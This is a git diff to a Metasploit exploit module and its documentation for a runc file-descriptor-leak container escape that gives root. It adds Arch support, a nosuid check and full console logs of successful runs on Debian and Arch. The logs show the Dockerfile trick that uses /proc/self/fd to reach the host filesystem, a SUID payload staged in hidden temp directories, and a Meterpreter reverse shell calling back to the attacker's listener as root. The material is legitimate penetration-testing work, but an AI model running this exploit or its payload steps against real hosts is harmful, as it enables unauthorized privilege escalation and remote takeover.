diff --git a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md index d3af51c51173..7e2275280902 100644 --- a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md +++ b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md @@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). -Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. +Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build. +Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build. +Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build. + +### Arch Install + +``` +wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst +pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst +wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst +pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst +systemctl start docker.service && systemctl enable docker.service +usermod -aG docker +``` ## Verification Steps @@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest` ## FILEDESCRIPTOR -The file descriptor to use, typically `7` or `8`. Defaults to `8` +The file descriptor to use, typically `7` or `8`. Defaults to `7` + +## Scenarios ### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04 @@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2 meterpreter > getuid Server username: root ``` + +### Debian 12.4 + +``` +msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true + +[*] Started reverse TCP handler on 192.168.20.24:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected +[*] Creating directory /tmp/.jwBZNB +[*] /tmp/.jwBZNB created +[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7 +[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile +[*] Building from Dockerfile to set our payload permissions +[*] #0 building with "default" instance using docker driver +[*] +[*] #1 [internal] load build definition from Dockerfile +[*] #1 transferring dockerfile: 217B done +[*] #1 DONE 0.0s +[*] +[*] #2 [internal] load metadata for docker.io/library/alpine:latest +[*] #2 DONE 3.5s +[*] +[*] #3 [internal] load .dockerignore +[*] #3 transferring context: 2B done +[*] #3 DONE 0.0s +[*] +[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b +[*] #4 DONE 0.0s +[*] +[*] #5 [2/3] WORKDIR /proc/self/fd/7 +[*] #5 CACHED +[*] +[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7 +[*] #6 DONE 0.3s +[*] +[*] #7 exporting to image +[*] #7 exporting layers 0.0s done +[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done +[*] #7 DONE 0.1s +[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 +[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 +[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.20.25 +[+] Deleted /tmp/.jwBZNB/.cleXu7 +[+] Deleted /tmp/.jwBZNB/Dockerfile +[+] Deleted /tmp/.jwBZNB +[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.20.25 +OS : Debian 12.4 (Linux 6.1.0-17-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Arch + +``` +[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation. +[*] Creating directory /home/user/.mpjj2xVK6 +[*] /home/user/.mpjj2xVK6 created +[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47 +[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile +RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47 +[*] Building from Dockerfile to set our payload permissions +[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release. +[*] Install the buildx component to build images with BuildKit: +[*] https://docs.docker.com/go/buildx/ +[*] +[*] Sending build context to Docker daemon 3.072kB +[*] Step 1/3 : FROM alpine:latest +[*] ---> 4048db5d3672 +[*] Step 2/3 : WORKDIR /proc/self/fd/8 +[*] ---> Using cache +[*] ---> 6421d9ffc175 +[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47 +[*] ---> Running in 09b17fa56c44 +[*] Removing intermediate container 09b17fa56c44 +[*] ---> 38c39324ec16 +[*] Successfully built 38c39324ec16 +[*] Removing created docker image 38c39324ec16 +[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6 +true +-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47 +[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47 +[+] Deleted /home/user/.mpjj2xVK6/Dockerfile +[+] Deleted /home/user/.mpjj2xVK6 +[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500 + +(Meterpreter 11)(/home/user) > getuid +Server username: root +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/runc_cwd_priv_esc.rb b/modules/exploits/linux/local/runc_cwd_priv_esc.rb index e4638cb0c478..5599910b7002 100644 --- a/modules/exploits/linux/local/runc_cwd_priv_esc.rb +++ b/modules/exploits/linux/local/runc_cwd_priv_esc.rb @@ -25,7 +25,8 @@ def initialize(info = {}) with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build. - Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build. + Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build. + Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -141,8 +142,13 @@ def check # Replace any "+deb", "+ds", "~rc", "u" or "-" with a "." fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.') runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.') + when 'arch' + version_info =~ /runc\s+version\s+(\d+\S*)/ + unfiltered_version = Regexp.last_match(1) + fixed_version = '1.1.12' + runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.') else - return CheckCode::Safe('Check method only available for Debian/Ubuntu systems') + return CheckCode::Safe('Check method only available for Debian/Ubuntu/Arch systems') end if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version) @@ -163,6 +169,11 @@ def exploit fail_with(Failure::BadConfig, "#{base_dir} is not writable") end + # Make sure we can execute our payload as root + if nosuid?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") + end + # create directory to write all our files to dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(dir)